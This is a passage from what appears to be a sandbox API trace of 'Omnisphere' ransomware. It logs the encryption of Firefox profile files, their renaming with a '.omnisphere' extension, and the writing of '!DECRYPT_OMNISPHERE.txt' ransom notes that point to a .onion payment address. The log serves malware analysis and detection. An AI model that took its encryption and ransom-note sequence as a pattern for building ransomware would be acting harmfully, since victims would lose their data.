dwFlags=0xf0000040 | out: phProv=0x3e0be54*=0x16688a0) returned 1 [0162.474] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0be0c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be64 | out: phKey=0x3e0be64*=0x16395e8) returned 1 [0162.474] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0be48*=0x2, dwFlags=0x0) returned 1 [0162.474] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0be50*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0be50*=0x10) returned 1 [0162.474] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0162.474] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0162.474] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0162.474] CryptDestroyKey (hKey=0x16395e8) returned 1 [0162.474] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0162.475] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x2a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0162.475] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c3e4, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0c3e4*=0x524, lpOverlapped=0x0) returned 1 [0162.476] GetProcessHeap () returned 0x1600000 [0162.476] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2fe) returned 0x174eb58 [0162.476] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2.omnisphere")) returned 1 [0162.477] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2.omnisphere.id" [0162.477] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0162.479] WriteFile (in: hFile=0x394, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0be6c, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0be6c*=0x524, lpOverlapped=0x0) returned 1 [0162.480] CloseHandle (hObject=0x394) returned 1 [0162.480] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.480] CloseHandle (hObject=0x398) returned 1 [0162.480] SetEndOfFile (hFile=0x3b4) returned 1 [0162.481] FlushFileBuffers (hFile=0x3b4) returned 1 [0162.487] CloseHandle (hObject=0x3b4) returned 1 [0162.488] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome") returned 1 [0162.488] GetProcessHeap () returned 0x1600000 [0162.488] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1750190 [0162.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.488] GetProcessHeap () returned 0x1600000 [0162.488] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733720 [0162.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733720, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.488] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.488] GetProcessHeap () returned 0x1600000 [0162.488] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726658 [0162.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726658, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.488] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.488] GetProcessHeap () returned 0x1600000 [0162.488] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x104) returned 0x174ee60 [0162.488] PathCombineW (in: pszDest=0x174ee60, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\!DECRYPT_OMNISPHERE.txt" [0162.488] GetProcessHeap () returned 0x1600000 [0162.488] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1741630 [0162.488] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.489] WriteFile (in: hFile=0x3b4, lpBuffer=0x1741630*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c404, lpOverlapped=0x0 | out: lpBuffer=0x1741630*, lpNumberOfBytesWritten=0x3e0c404*=0x588, lpOverlapped=0x0) returned 1 [0162.489] CloseHandle (hObject=0x3b4) returned 1 [0162.489] GetProcessHeap () returned 0x1600000 [0162.489] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1750190 | out: hHeap=0x1600000) returned 1 [0162.489] GetProcessHeap () returned 0x1600000 [0162.489] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfa) returned 0x174ef70 [0162.489] PathCombineW (in: pszDest=0x174ef70, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\unique_decrypt.key" [0162.489] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.489] WriteFile (in: hFile=0x3b4, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c418, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c418*=0x5a0, lpOverlapped=0x0) returned 1 [0162.489] CloseHandle (hObject=0x3b4) returned 1 [0162.489] GetProcessHeap () returned 0x1600000 [0162.490] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174ef70 | out: hHeap=0x1600000) returned 1 [0162.490] GetProcessHeap () returned 0x1600000 [0162.490] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174e418 | out: hHeap=0x1600000) returned 1 [0162.490] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x246c9b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7d09b9f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xeffbe54, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa9, cFileName="idb", cAlternateFileName="")) returned 1 [0162.490] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x246c9b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7d09b9f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xeffbe54, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa9, cFileName="idb", cAlternateFileName="")) returned 0 [0162.490] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0162.490] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\*", lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41f0eecb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41f0eecb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0162.490] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41f0eecb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41f0eecb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName="..", cAlternateFileName="")) returned 1 [0162.490] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ee8bb9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41ee8bb9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41f35085, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0162.490] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2409b53, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2409b53, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41f0eecb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x54e, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName=".metadata-v2.omnisphere", cAlternateFileName="METADA~2.OMN")) returned 1 [0162.490] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f0eecb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41f0eecb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41f0eecb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName=".metadata-v2.omnisphere.id", cAlternateFileName="METADA~2.ID")) returned 1 [0162.490] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41e9c783, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName=".metadata.omnisphere", cAlternateFileName="METADA~1.OMN")) returned 1 [0162.490] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41e2a102, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41e2a102, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41e9c783, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName=".metadata.omnisphere.id", cAlternateFileName="METADA~1.ID")) returned 1 [0162.490] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x246c9b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7d09b9f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xeffbe54, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName="idb", cAlternateFileName="")) returned 1 [0162.490] GetProcessHeap () returned 0x1600000 [0162.490] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x172a950 [0162.490] PathCombineW (in: pszDest=0x172a950, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome", pszFile="idb" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb" [0162.490] GetProcessHeap () returned 0x1600000 [0162.491] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe0) returned 0x172b348 [0162.491] PathCombineW (in: pszDest=0x172b348, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\*" [0162.491] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\*", lpFindFileData=0x3e0c1b8 | out: lpFindFileData=0x3e0c1b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x246c9b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7d09b9f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xeffbe54, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa2, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0162.492] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0c1b8 | out: lpFindFileData=0x3e0c1b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x246c9b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7d09b9f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xeffbe54, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa2, cFileName="..", cAlternateFileName="")) returned 1 [0162.492] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0c1b8 | out: lpFindFileData=0x3e0c1b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e680c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2e680c0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x2e680c0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa2, cFileName="2918063365piupsah.files", cAlternateFileName="291806~1.FIL")) returned 1 [0162.492] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0c1b8 | out: lpFindFileData=0x3e0c1b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x246c9b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x246c9b2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4714894, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0xa2, cFileName="2918063365piupsah.sqlite", cAlternateFileName="291806~1.SQL")) returned 1 [0162.492] GetProcessHeap () returned 0x1600000 [0162.492] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x10e) returned 0x1750190 [0162.493] PathCombineW (in: pszDest=0x1750190, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb", pszFile="2918063365piupsah.sqlite" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite" [0162.493] StrStrW (lpFirst=".omnisphere", lpSrch=".sqlite") returned 0x0 [0162.493] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.494] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3e0bee0 | out: lpFileSize=0x3e0bee0*=49152) returned 1 [0162.494] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xbadc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0bed4 | out: lpNewFilePointer=0x0) returned 1 [0162.494] ReadFile (in: hFile=0x398, lpBuffer=0x3e0b988, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0bed0, lpOverlapped=0x0 | out: lpBuffer=0x3e0b988*, lpNumberOfBytesRead=0x3e0bed0*=0x524, lpOverlapped=0x0) returned 1 [0162.495] CreateFileMappingW (hFile=0x398, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc000, lpName=0x0) returned 0x394 [0162.495] MapViewOfFile (hFileMappingObject=0x394, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0162.495] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.495] CloseHandle (hObject=0x394) returned 1 [0162.495] GetTickCount () returned 0x11685b2 [0162.495] GetTickCount () returned 0x11685b2 [0162.495] GetTickCount () returned 0x11685b2 [0162.495] GetTickCount () returned 0x11685b2 [0162.495] GetTickCount () returned 0x11685b2 [0162.495] GetTickCount () returned 0x11685b2 [0162.495] GetTickCount () returned 0x11685b2 [0162.495] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] GetTickCount () returned 0x11685b2 [0162.496] CryptAcquireContextW (in: phProv=0x3e0b968, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0b968*=0x16683d8) returned 1 [0162.497] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0b8d0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0b974 | out: phKey=0x3e0b974*=0x16396a8) returned 1 [0162.497] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0be20*, pdwDataLen=0x3e0b964*=0x75, dwBufLen=0x80 | out: pbData=0x3e0be20*, pdwDataLen=0x3e0b964*=0x80) returned 1 [0162.497] CryptDestroyKey (hKey=0x16396a8) returned 1 [0162.497] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0162.497] CreateFileMappingW (hFile=0x398, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc000, lpName=0x0) returned 0x394 [0162.497] MapViewOfFile (hFileMappingObject=0x394, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc000) returned 0x1480000 [0162.535] CryptAcquireContextW (in: phProv=0x3e0b958, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0b958*=0x1669098) returned 1 [0162.535] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0b910, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0b968 | out: phKey=0x3e0b968*=0x16396a8) returned 1 [0162.535] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0b94c*=0x2, dwFlags=0x0) returned 1 [0162.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0b954*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0b954*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, 